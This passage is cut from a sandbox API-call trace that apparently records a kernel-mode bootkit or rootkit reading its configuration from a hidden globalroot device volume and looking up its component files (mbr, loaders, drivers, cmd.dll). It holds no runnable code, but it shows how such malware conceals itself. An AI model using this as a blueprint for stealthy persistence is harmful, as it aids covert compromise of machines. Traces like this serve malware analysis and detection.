(hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.188] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.188] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.188] KeEnterCriticalRegion () [0126.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.188] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.188] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.188] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.188] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.188] IdePortDispatch () returned 0x103 [0126.188] KeWaitForMutexObject () returned 0x0 [0126.188] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.188] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.189] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.189] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.189] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.189] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800365bf60 [0126.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.189] KeLeaveCriticalRegion () [0126.189] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.189] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.189] KeEnterCriticalRegion () [0126.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.189] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.189] KeLeaveCriticalRegion () [0126.189] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.189] KeEnterCriticalRegion () [0126.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.189] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.189] IdePortDispatch () returned 0x103 [0126.189] KeWaitForMutexObject () returned 0x0 [0126.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.189] KeLeaveCriticalRegion () [0126.189] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.189] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.190] KeEnterCriticalRegion () [0126.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.190] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034cc000 [0126.190] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.190] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.190] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.190] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.190] IdePortDispatch () returned 0x103 [0126.190] KeWaitForMutexObject () returned 0x0 [0126.190] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.190] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.190] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.190] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.190] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.190] IdePortDispatch () returned 0x103 [0126.190] KeWaitForMutexObject () returned 0x0 [0126.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.190] KeLeaveCriticalRegion () [0126.190] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.191] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.191] KeEnterCriticalRegion () [0126.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.191] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.191] KeLeaveCriticalRegion () [0126.191] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.191] KeEnterCriticalRegion () [0126.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.191] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.191] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac6830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.191] KeLeaveCriticalRegion () [0126.191] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.191] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.191] KeEnterCriticalRegion () [0126.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.191] ExFreePoolWithTag (P=0xfffffa800365bf60, Tag=0x0) [0126.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.191] KeLeaveCriticalRegion () [0126.191] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.191] ReleaseMutex (hMutex=0xf0) returned 1 [0126.191] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.191] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.191] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.191] KeEnterCriticalRegion () [0126.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.191] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.191] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.191] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.191] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.191] IdePortDispatch () returned 0x103 [0126.192] KeWaitForMutexObject () returned 0x0 [0126.192] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.192] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.192] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.192] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.192] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.192] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037dc430 [0126.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.192] KeLeaveCriticalRegion () [0126.192] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.192] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.192] KeEnterCriticalRegion () [0126.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.192] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.192] KeLeaveCriticalRegion () [0126.192] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.192] KeEnterCriticalRegion () [0126.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.192] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.192] IdePortDispatch () returned 0x103 [0126.192] KeWaitForMutexObject () returned 0x0 [0126.192] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.193] KeLeaveCriticalRegion () [0126.193] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.193] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.193] KeEnterCriticalRegion () [0126.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.193] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034cd000 [0126.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.193] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.193] IdePortDispatch () returned 0x103 [0126.193] KeWaitForMutexObject () returned 0x0 [0126.193] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.193] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.193] IdePortDispatch () returned 0x103 [0126.193] KeWaitForMutexObject () returned 0x0 [0126.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.193] KeLeaveCriticalRegion () [0126.193] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.194] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.194] KeEnterCriticalRegion () [0126.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.194] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.194] KeLeaveCriticalRegion () [0126.194] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.194] KeEnterCriticalRegion () [0126.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.194] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.194] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.194] KeLeaveCriticalRegion () [0126.194] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.194] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.194] KeEnterCriticalRegion () [0126.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.194] ExFreePoolWithTag (P=0xfffffa80037dc430, Tag=0x0) [0126.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.194] KeLeaveCriticalRegion () [0126.194] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.194] ReleaseMutex (hMutex=0xf0) returned 1 [0126.194] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.194] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.194] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.194] KeEnterCriticalRegion () [0126.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.195] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.195] IdePortDispatch () returned 0x103 [0126.195] KeWaitForMutexObject () returned 0x0 [0126.195] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.195] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.195] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.195] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.195] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.195] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037dc380 [0126.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.195] KeLeaveCriticalRegion () [0126.195] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.195] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.195] KeEnterCriticalRegion () [0126.195] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.195] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.195] KeLeaveCriticalRegion () [0126.195] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.195] KeEnterCriticalRegion () [0126.195] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.195] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.195] IdePortDispatch () returned 0x103 [0126.195] KeWaitForMutexObject () returned 0x0 [0126.195] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.196] KeLeaveCriticalRegion () [0126.196] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.196] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.196] KeEnterCriticalRegion () [0126.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.196] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ce000 [0126.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.196] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.196] IdePortDispatch () returned 0x103 [0126.196] KeWaitForMutexObject () returned 0x0 [0126.196] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.196] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.196] IdePortDispatch () returned 0x103 [0126.196] KeWaitForMutexObject () returned 0x0 [0126.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.196] KeLeaveCriticalRegion () [0126.196] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.197] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.197] KeEnterCriticalRegion () [0126.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.197] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.197] KeLeaveCriticalRegion () [0126.197] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.197] KeEnterCriticalRegion () [0126.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.197] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.197] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.197] KeLeaveCriticalRegion () [0126.197] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.197] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.197] KeEnterCriticalRegion () [0126.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.197] ExFreePoolWithTag (P=0xfffffa80037dc380, Tag=0x0) [0126.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.197] KeLeaveCriticalRegion () [0126.197] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.197] ReleaseMutex (hMutex=0xf0) returned 1 [0126.197] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.197] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.197] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.197] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.197] KeEnterCriticalRegion () [0126.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.198] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.198] IdePortDispatch () returned 0x103 [0126.198] KeWaitForMutexObject () returned 0x0 [0126.198] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.198] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.198] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.198] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.198] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.198] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.198] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.198] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.198] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.198] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.198] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.198] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.198] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.198] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.198] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.198] KeLeaveCriticalRegion () [0126.198] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.198] DeleteFileA 